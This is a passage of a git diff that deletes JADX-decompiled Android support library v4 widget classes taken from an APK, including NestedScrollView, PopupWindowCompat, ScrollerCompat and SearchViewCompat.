2) { - if (this.mEdgeGlowTop == null) { - Context context = getContext(); - this.mEdgeGlowTop = new EdgeEffectCompat(context); - this.mEdgeGlowBottom = new EdgeEffectCompat(context); - return; - } - return; - } - this.mEdgeGlowTop = null; - this.mEdgeGlowBottom = null; - } - - @Override // android.view.View - public void draw(Canvas canvas) { - super.draw(canvas); - if (this.mEdgeGlowTop != null) { - int scrollY = getScrollY(); - if (!this.mEdgeGlowTop.isFinished()) { - int save = canvas.save(); - int width = (getWidth() - getPaddingLeft()) - getPaddingRight(); - canvas.translate(getPaddingLeft(), Math.min(0, scrollY)); - this.mEdgeGlowTop.setSize(width, getHeight()); - if (this.mEdgeGlowTop.draw(canvas)) { - ViewCompat.postInvalidateOnAnimation(this); - } - canvas.restoreToCount(save); - } - if (this.mEdgeGlowBottom.isFinished()) { - return; - } - int save2 = canvas.save(); - int width2 = (getWidth() - getPaddingLeft()) - getPaddingRight(); - int height = getHeight(); - canvas.translate((-width2) + getPaddingLeft(), Math.max(getScrollRange(), scrollY) + height); - canvas.rotate(180.0f, width2, 0.0f); - this.mEdgeGlowBottom.setSize(width2, height); - if (this.mEdgeGlowBottom.draw(canvas)) { - ViewCompat.postInvalidateOnAnimation(this); - } - canvas.restoreToCount(save2); - } - } - - @Override // android.view.View - protected void onRestoreInstanceState(Parcelable parcelable) { - if (!(parcelable instanceof SavedState)) { - super.onRestoreInstanceState(parcelable); - return; - } - SavedState savedState = (SavedState) parcelable; - super.onRestoreInstanceState(savedState.getSuperState()); - this.mSavedState = savedState; - requestLayout(); - } - - @Override // android.view.View - protected Parcelable onSaveInstanceState() { - SavedState savedState = new SavedState(super.onSaveInstanceState()); - savedState.scrollPosition = getScrollY(); - return savedState; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState extends View.BaseSavedState { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.widget.NestedScrollView.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState createFromParcel(Parcel parcel) { - return new SavedState(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }; - public int scrollPosition; - - SavedState(Parcelable parcelable) { - super(parcelable); - } - - SavedState(Parcel parcel) { - super(parcel); - this.scrollPosition = parcel.readInt(); - } - - @Override // android.view.View.BaseSavedState, android.view.AbsSavedState, android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - super.writeToParcel(parcel, i); - parcel.writeInt(this.scrollPosition); - } - - public String toString() { - return "HorizontalScrollView.SavedState{" + Integer.toHexString(System.identityHashCode(this)) + " scrollPosition=" + this.scrollPosition + "}"; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityDelegate extends AccessibilityDelegateCompat { - AccessibilityDelegate() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public boolean performAccessibilityAction(View view, int i, Bundle bundle) { - if (super.performAccessibilityAction(view, i, bundle)) { - return true; - } - NestedScrollView nestedScrollView = (NestedScrollView) view; - if (nestedScrollView.isEnabled()) { - if (i == 4096) { - int min = Math.min(nestedScrollView.getScrollY() + ((nestedScrollView.getHeight() - nestedScrollView.getPaddingBottom()) - nestedScrollView.getPaddingTop()), nestedScrollView.getScrollRange()); - if (min != nestedScrollView.getScrollY()) { - nestedScrollView.smoothScrollTo(0, min); - return true; - } - return false; - } else if (i != 8192) { - return false; - } else { - int max = Math.max(nestedScrollView.getScrollY() - ((nestedScrollView.getHeight() - nestedScrollView.getPaddingBottom()) - nestedScrollView.getPaddingTop()), 0); - if (max != nestedScrollView.getScrollY()) { - nestedScrollView.smoothScrollTo(0, max); - return true; - } - return false; - } - } - return false; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - int scrollRange; - super.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - NestedScrollView nestedScrollView = (NestedScrollView) view; - accessibilityNodeInfoCompat.setClassName(ScrollView.class.getName()); - if (!nestedScrollView.isEnabled() || (scrollRange = nestedScrollView.getScrollRange()) <= 0) { - return; - } - accessibilityNodeInfoCompat.setScrollable(true); - if (nestedScrollView.getScrollY() > 0) { - accessibilityNodeInfoCompat.addAction(8192); - } - if (nestedScrollView.getScrollY() < scrollRange) { - accessibilityNodeInfoCompat.addAction(4096); - } - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - super.onInitializeAccessibilityEvent(view, accessibilityEvent); - NestedScrollView nestedScrollView = (NestedScrollView) view; - accessibilityEvent.setClassName(ScrollView.class.getName()); - AccessibilityRecordCompat asRecord = AccessibilityEventCompat.asRecord(accessibilityEvent); - asRecord.setScrollable(nestedScrollView.getScrollRange() > 0); - asRecord.setScrollX(nestedScrollView.getScrollX()); - asRecord.setScrollY(nestedScrollView.getScrollY()); - asRecord.setMaxScrollX(nestedScrollView.getScrollX()); - asRecord.setMaxScrollY(nestedScrollView.getScrollRange()); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompat.java deleted file mode 100644 index 292a15f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompat.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PopupMenuCompat { - static final PopupMenuImpl IMPL = new KitKatPopupMenuImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface PopupMenuImpl { - View.OnTouchListener getDragToOpenListener(Object obj); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BasePopupMenuImpl implements PopupMenuImpl { - @Override // android.support.v4.widget.PopupMenuCompat.PopupMenuImpl - public View.OnTouchListener getDragToOpenListener(Object obj) { - return null; - } - - BasePopupMenuImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatPopupMenuImpl extends BasePopupMenuImpl { - KitKatPopupMenuImpl() { - } - - @Override // android.support.v4.widget.PopupMenuCompat.BasePopupMenuImpl, android.support.v4.widget.PopupMenuCompat.PopupMenuImpl - public View.OnTouchListener getDragToOpenListener(Object obj) { - return PopupMenuCompatKitKat.getDragToOpenListener(obj); - } - } - - private PopupMenuCompat() { - } - - public static View.OnTouchListener getDragToOpenListener(Object obj) { - return IMPL.getDragToOpenListener(obj); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompatKitKat.java deleted file mode 100644 index 37a40af..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupMenuCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -import android.widget.PopupMenu; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PopupMenuCompatKitKat { - PopupMenuCompatKitKat() { - } - - public static View.OnTouchListener getDragToOpenListener(Object obj) { - return ((PopupMenu) obj).getDragToOpenListener(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompat.java deleted file mode 100644 index 104b7fc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompat.java +++ /dev/null @@ -1,169 +0,0 @@ -package android.support.v4.widget; - -import android.support.v4.view.GravityCompat; -import android.support.v4.view.ViewCompat; -import android.view.View; -import android.widget.PopupWindow; -import java.lang.reflect.Method; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class PopupWindowCompat { - static final PopupWindowImpl IMPL = new Api23PopupWindowImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface PopupWindowImpl { - boolean getOverlapAnchor(PopupWindow popupWindow); - - int getWindowLayoutType(PopupWindow popupWindow); - - void setOverlapAnchor(PopupWindow popupWindow, boolean z); - - void setWindowLayoutType(PopupWindow popupWindow, int i); - - void showAsDropDown(PopupWindow popupWindow, View view, int i, int i2, int i3); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BasePopupWindowImpl implements PopupWindowImpl { - private static Method sGetWindowLayoutTypeMethod; - private static boolean sGetWindowLayoutTypeMethodAttempted; - private static Method sSetWindowLayoutTypeMethod; - private static boolean sSetWindowLayoutTypeMethodAttempted; - - @Override // android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public boolean getOverlapAnchor(PopupWindow popupWindow) { - return false; - } - - @Override // android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - } - - BasePopupWindowImpl() { - } - - @Override // android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void showAsDropDown(PopupWindow popupWindow, View view, int i, int i2, int i3) { - if ((GravityCompat.getAbsoluteGravity(i3, ViewCompat.getLayoutDirection(view)) & 7) == 5) { - i -= popupWindow.getWidth() - view.getWidth(); - } - popupWindow.showAsDropDown(view, i, i2); - } - - @Override // android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void setWindowLayoutType(PopupWindow popupWindow, int i) { - if (!sSetWindowLayoutTypeMethodAttempted) { - try { - Method declaredMethod = PopupWindow.class.getDeclaredMethod("setWindowLayoutType", Integer.TYPE); - sSetWindowLayoutTypeMethod = declaredMethod; - declaredMethod.setAccessible(true); - } catch (Exception unused) { - } - sSetWindowLayoutTypeMethodAttempted = true; - } - Method method = sSetWindowLayoutTypeMethod; - if (method != null) { - try { - method.invoke(popupWindow, Integer.valueOf(i)); - } catch (Exception unused2) { - } - } - } - - @Override // android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public int getWindowLayoutType(PopupWindow popupWindow) { - if (!sGetWindowLayoutTypeMethodAttempted) { - try { - Method declaredMethod = PopupWindow.class.getDeclaredMethod("getWindowLayoutType", new Class[0]); - sGetWindowLayoutTypeMethod = declaredMethod; - declaredMethod.setAccessible(true); - } catch (Exception unused) { - } - sGetWindowLayoutTypeMethodAttempted = true; - } - Method method = sGetWindowLayoutTypeMethod; - if (method != null) { - try { - return ((Integer) method.invoke(popupWindow, new Object[0])).intValue(); - } catch (Exception unused2) { - } - } - return 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatPopupWindowImpl extends BasePopupWindowImpl { - KitKatPopupWindowImpl() { - } - - @Override // android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void showAsDropDown(PopupWindow popupWindow, View view, int i, int i2, int i3) { - PopupWindowCompatKitKat.showAsDropDown(popupWindow, view, i, i2, i3); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api21PopupWindowImpl extends KitKatPopupWindowImpl { - Api21PopupWindowImpl() { - } - - @Override // android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - PopupWindowCompatApi21.setOverlapAnchor(popupWindow, z); - } - - @Override // android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public boolean getOverlapAnchor(PopupWindow popupWindow) { - return PopupWindowCompatApi21.getOverlapAnchor(popupWindow); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api23PopupWindowImpl extends Api21PopupWindowImpl { - Api23PopupWindowImpl() { - } - - @Override // android.support.v4.widget.PopupWindowCompat.Api21PopupWindowImpl, android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - PopupWindowCompatApi23.setOverlapAnchor(popupWindow, z); - } - - @Override // android.support.v4.widget.PopupWindowCompat.Api21PopupWindowImpl, android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public boolean getOverlapAnchor(PopupWindow popupWindow) { - return PopupWindowCompatApi23.getOverlapAnchor(popupWindow); - } - - @Override // android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public void setWindowLayoutType(PopupWindow popupWindow, int i) { - PopupWindowCompatApi23.setWindowLayoutType(popupWindow, i); - } - - @Override // android.support.v4.widget.PopupWindowCompat.BasePopupWindowImpl, android.support.v4.widget.PopupWindowCompat.PopupWindowImpl - public int getWindowLayoutType(PopupWindow popupWindow) { - return PopupWindowCompatApi23.getWindowLayoutType(popupWindow); - } - } - - private PopupWindowCompat() { - } - - public static void showAsDropDown(PopupWindow popupWindow, View view, int i, int i2, int i3) { - IMPL.showAsDropDown(popupWindow, view, i, i2, i3); - } - - public static void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - IMPL.setOverlapAnchor(popupWindow, z); - } - - public static boolean getOverlapAnchor(PopupWindow popupWindow) { - return IMPL.getOverlapAnchor(popupWindow); - } - - public static void setWindowLayoutType(PopupWindow popupWindow, int i) { - IMPL.setWindowLayoutType(popupWindow, i); - } - - public static int getWindowLayoutType(PopupWindow popupWindow) { - return IMPL.getWindowLayoutType(popupWindow); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi21.java deleted file mode 100644 index f375ed8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi21.java +++ /dev/null @@ -1,49 +0,0 @@ -package android.support.v4.widget; - -import android.util.Log; -import android.widget.PopupWindow; -import java.lang.reflect.Field; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PopupWindowCompatApi21 { - private static final String TAG = "PopupWindowCompatApi21"; - private static Field sOverlapAnchorField; - - PopupWindowCompatApi21() { - } - - static { - try { - Field declaredField = PopupWindow.class.getDeclaredField("mOverlapAnchor"); - sOverlapAnchorField = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException e) { - Log.i(TAG, "Could not fetch mOverlapAnchor field from PopupWindow", e); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - Field field = sOverlapAnchorField; - if (field != null) { - try { - field.set(popupWindow, Boolean.valueOf(z)); - } catch (IllegalAccessException e) { - Log.i(TAG, "Could not set overlap anchor field in PopupWindow", e); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean getOverlapAnchor(PopupWindow popupWindow) { - Field field = sOverlapAnchorField; - if (field != null) { - try { - return ((Boolean) field.get(popupWindow)).booleanValue(); - } catch (IllegalAccessException e) { - Log.i(TAG, "Could not get overlap anchor field in PopupWindow", e); - return false; - } - } - return false; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi23.java deleted file mode 100644 index 0dc3186..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatApi23.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.widget; - -import android.widget.PopupWindow; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PopupWindowCompatApi23 { - PopupWindowCompatApi23() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setOverlapAnchor(PopupWindow popupWindow, boolean z) { - popupWindow.setOverlapAnchor(z); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean getOverlapAnchor(PopupWindow popupWindow) { - return popupWindow.getOverlapAnchor(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setWindowLayoutType(PopupWindow popupWindow, int i) { - popupWindow.setWindowLayoutType(i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getWindowLayoutType(PopupWindow popupWindow) { - return popupWindow.getWindowLayoutType(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatKitKat.java deleted file mode 100644 index 1b7e0f5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/PopupWindowCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.widget; - -import android.view.View; -import android.widget.PopupWindow; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class PopupWindowCompatKitKat { - PopupWindowCompatKitKat() { - } - - public static void showAsDropDown(PopupWindow popupWindow, View view, int i, int i2, int i3) { - popupWindow.showAsDropDown(view, i, i2, i3); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ResourceCursorAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ResourceCursorAdapter.java deleted file mode 100644 index d2fea14..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ResourceCursorAdapter.java +++ /dev/null @@ -1,54 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.database.Cursor; -import android.view.LayoutInflater; -import android.view.View; -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class ResourceCursorAdapter extends CursorAdapter { - private int mDropDownLayout; - private LayoutInflater mInflater; - private int mLayout; - - @Deprecated - public ResourceCursorAdapter(Context context, int i, Cursor cursor) { - super(context, cursor); - this.mDropDownLayout = i; - this.mLayout = i; - this.mInflater = (LayoutInflater) context.getSystemService("layout_inflater"); - } - - @Deprecated - public ResourceCursorAdapter(Context context, int i, Cursor cursor, boolean z) { - super(context, cursor, z); - this.mDropDownLayout = i; - this.mLayout = i; - this.mInflater = (LayoutInflater) context.getSystemService("layout_inflater"); - } - - public ResourceCursorAdapter(Context context, int i, Cursor cursor, int i2) { - super(context, cursor, i2); - this.mDropDownLayout = i; - this.mLayout = i; - this.mInflater = (LayoutInflater) context.getSystemService("layout_inflater"); - } - - @Override // android.support.v4.widget.CursorAdapter - public View newView(Context context, Cursor cursor, ViewGroup viewGroup) { - return this.mInflater.inflate(this.mLayout, viewGroup, false); - } - - @Override // android.support.v4.widget.CursorAdapter - public View newDropDownView(Context context, Cursor cursor, ViewGroup viewGroup) { - return this.mInflater.inflate(this.mDropDownLayout, viewGroup, false); - } - - public void setViewResource(int i) { - this.mLayout = i; - } - - public void setDropDownViewResource(int i) { - this.mDropDownLayout = i; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompat.java deleted file mode 100644 index 72ba521..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompat.java +++ /dev/null @@ -1,90 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.view.animation.Interpolator; -import android.widget.OverScroller; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ScrollerCompat { - private final boolean mIsIcsOrNewer; - OverScroller mScroller; - - public static ScrollerCompat create(Context context) { - return create(context, null); - } - - public static ScrollerCompat create(Context context, Interpolator interpolator) { - return new ScrollerCompat(true, context, interpolator); - } - - ScrollerCompat(boolean z, Context context, Interpolator interpolator) { - this.mIsIcsOrNewer = z; - this.mScroller = interpolator != null ? new OverScroller(context, interpolator) : new OverScroller(context); - } - - public boolean isFinished() { - return this.mScroller.isFinished(); - } - - public int getCurrX() { - return this.mScroller.getCurrX(); - } - - public int getCurrY() { - return this.mScroller.getCurrY(); - } - - public int getFinalX() { - return this.mScroller.getFinalX(); - } - - public int getFinalY() { - return this.mScroller.getFinalY(); - } - - public float getCurrVelocity() { - if (this.mIsIcsOrNewer) { - return ScrollerCompatIcs.getCurrVelocity(this.mScroller); - } - return 0.0f; - } - - public boolean computeScrollOffset() { - return this.mScroller.computeScrollOffset(); - } - - public void startScroll(int i, int i2, int i3, int i4) { - this.mScroller.startScroll(i, i2, i3, i4); - } - - public void startScroll(int i, int i2, int i3, int i4, int i5) { - this.mScroller.startScroll(i, i2, i3, i4, i5); - } - - public void fling(int i, int i2, int i3, int i4, int i5, int i6, int i7, int i8) { - this.mScroller.fling(i, i2, i3, i4, i5, i6, i7, i8); - } - - public void fling(int i, int i2, int i3, int i4, int i5, int i6, int i7, int i8, int i9, int i10) { - this.mScroller.fling(i, i2, i3, i4, i5, i6, i7, i8, i9, i10); - } - - public boolean springBack(int i, int i2, int i3, int i4, int i5, int i6) { - return this.mScroller.springBack(i, i2, i3, i4, i5, i6); - } - - public void abortAnimation() { - this.mScroller.abortAnimation(); - } - - public void notifyHorizontalEdgeReached(int i, int i2, int i3) { - this.mScroller.notifyHorizontalEdgeReached(i, i2, i3); - } - - public void notifyVerticalEdgeReached(int i, int i2, int i3) { - this.mScroller.notifyVerticalEdgeReached(i, i2, i3); - } - - public boolean isOverScrolled() { - return this.mScroller.isOverScrolled(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompatIcs.java deleted file mode 100644 index 170dc80..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ScrollerCompatIcs.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.widget; - -import android.widget.OverScroller; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ScrollerCompatIcs { - ScrollerCompatIcs() { - } - - public static float getCurrVelocity(Object obj) { - return ((OverScroller) obj).getCurrVelocity(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompat.java deleted file mode 100644 index d538443..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/SearchViewCompat.java +++ /dev/null @@ -1,377 +0,0 @@ -package android.support.v4.widget; - -import android.content.ComponentName; -import android.content.Context; -import android.support.v4.widget.SearchViewCompatHoneycomb; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class SearchViewCompat { - private static final SearchViewCompatImpl IMPL = new SearchViewCompatIcsImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnCloseListener { - boolean onClose(); - } - - @Deprecated - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class OnCloseListenerCompat implements OnCloseListener { - @Override // android.support.v4.widget.SearchViewCompat.OnCloseListener - public boolean onClose() { - return false; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnQueryTextListener { - boolean onQueryTextChange(String str); - - boolean onQueryTextSubmit(String str); - } - - @Deprecated - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class OnQueryTextListenerCompat implements OnQueryTextListener { - @Override // android.support.v4.widget.SearchViewCompat.OnQueryTextListener - public boolean onQueryTextChange(String str) { - return false; - } - - @Override // android.support.v4.widget.SearchViewCompat.OnQueryTextListener - public boolean onQueryTextSubmit(String str) { - return false; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface SearchViewCompatImpl { - CharSequence getQuery(View view); - - boolean isIconified(View view); - - boolean isQueryRefinementEnabled(View view); - - boolean isSubmitButtonEnabled(View view); - - Object newOnCloseListener(OnCloseListener onCloseListener); - - Object newOnQueryTextListener(OnQueryTextListener onQueryTextListener); - - View newSearchView(Context context); - - void setIconified(View view, boolean z); - - void setImeOptions(View view, int i); - - void setInputType(View view, int i); - - void setMaxWidth(View view, int i); - - void setOnCloseListener(View view, OnCloseListener onCloseListener); - - void setOnQueryTextListener(View view, OnQueryTextListener onQueryTextListener); - - void setQuery(View view, CharSequence charSequence, boolean z); - - void setQueryHint(View view, CharSequence charSequence); - - void setQueryRefinementEnabled(View view, boolean z); - - void setSearchableInfo(View view, ComponentName componentName); - - void setSubmitButtonEnabled(View view, boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SearchViewCompatStubImpl implements SearchViewCompatImpl { - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public CharSequence getQuery(View view) { - return null; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isIconified(View view) { - return true; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isQueryRefinementEnabled(View view) { - return false; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public boolean isSubmitButtonEnabled(View view) { - return false; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public Object newOnCloseListener(OnCloseListener onCloseListener) { - return null; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public Object newOnQueryTextListener(OnQueryTextListener onQueryTextListener) { - return null; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public View newSearchView(Context context) { - return null; - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setIconified(View view, boolean z) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setImeOptions(View view, int i) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setInputType(View view, int i) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setMaxWidth(View view, int i) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setOnCloseListener(View view, OnCloseListener onCloseListener) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setOnQueryTextListener(View view, OnQueryTextListener onQueryTextListener) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQuery(View view, CharSequence charSequence, boolean z) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQueryHint(View view, CharSequence charSequence) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQueryRefinementEnabled(View view, boolean z) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setSearchableInfo(View view, ComponentName componentName) { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setSubmitButtonEnabled(View view, boolean z) { - } - - SearchViewCompatStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class SearchViewCompatHoneycombImpl extends SearchViewCompatStubImpl { - SearchViewCompatHoneycombImpl() { - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public View newSearchView(Context context) { - return SearchViewCompatHoneycomb.newSearchView(context); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setSearchableInfo(View view, ComponentName componentName) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setSearchableInfo(view, componentName); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public Object newOnQueryTextListener(final OnQueryTextListener onQueryTextListener) { - return SearchViewCompatHoneycomb.newOnQueryTextListener(new SearchViewCompatHoneycomb.OnQueryTextListenerCompatBridge() { // from class: android.support.v4.widget.SearchViewCompat.SearchViewCompatHoneycombImpl.1 - @Override // android.support.v4.widget.SearchViewCompatHoneycomb.OnQueryTextListenerCompatBridge - public boolean onQueryTextSubmit(String str) { - return onQueryTextListener.onQueryTextSubmit(str); - } - - @Override // android.support.v4.widget.SearchViewCompatHoneycomb.OnQueryTextListenerCompatBridge - public boolean onQueryTextChange(String str) { - return onQueryTextListener.onQueryTextChange(str); - } - }); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setOnQueryTextListener(View view, OnQueryTextListener onQueryTextListener) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setOnQueryTextListener(view, newOnQueryTextListener(onQueryTextListener)); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public Object newOnCloseListener(final OnCloseListener onCloseListener) { - return SearchViewCompatHoneycomb.newOnCloseListener(new SearchViewCompatHoneycomb.OnCloseListenerCompatBridge() { // from class: android.support.v4.widget.SearchViewCompat.SearchViewCompatHoneycombImpl.2 - @Override // android.support.v4.widget.SearchViewCompatHoneycomb.OnCloseListenerCompatBridge - public boolean onClose() { - return onCloseListener.onClose(); - } - }); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setOnCloseListener(View view, OnCloseListener onCloseListener) { - checkIfLegalArg(view); - SearchViewCompatHoneycomb.setOnCloseListener(view, newOnCloseListener(onCloseListener)); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public CharSequence getQuery(View view) { - checkIfLegalArg(view); - return SearchViewCompatHoneycomb.getQuery(view); - } - - @Override // android.support.v4.widget.SearchViewCompat.SearchViewCompatStubImpl, android.support.v4.widget.SearchViewCompat.SearchViewCompatImpl - public void setQuery(View view, CharSequence charSequence, boolean 